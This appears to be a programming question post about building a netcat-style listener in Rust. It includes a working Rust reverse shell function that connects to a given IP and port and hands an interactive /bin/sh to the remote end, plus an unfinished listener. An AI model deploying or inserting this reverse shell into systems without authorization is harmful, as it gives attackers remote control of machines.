OpenBSD's Netcat implementation listens on a port with unix_bind()
... basically the same behavior as Rust's TcpListener::bind()
. Where I got lost in writing my listen
function (emulating nc -l -p <port>
) is how to interact with reverse shells.
As seemingly trivial as it sounds, I want listen
to give me the sh-3.2$
prompt like nc -l -p <port>
does. All the Netcat-Rust implementations I dug up online don't allow me to interact with reverse shells like that.
Reverse shell code (Machine 1): (adapted from this question I asked years ago)
fn reverse_shell(ip: &str, port: &str) {
let s = TcpStream::connect((ip, port)).unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn().unwrap().wait().unwrap();
}
Listening code (Machine 2):
fn listen(port: u16) {
let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
let (mut stream, _) = x.accept().unwrap();
// How do I interact with the shell now??
}
There's a certain simplicity and elegance to Rust code that helps me understand succinctly what's going on, which is why I don't want to just copy the C code from Netcat.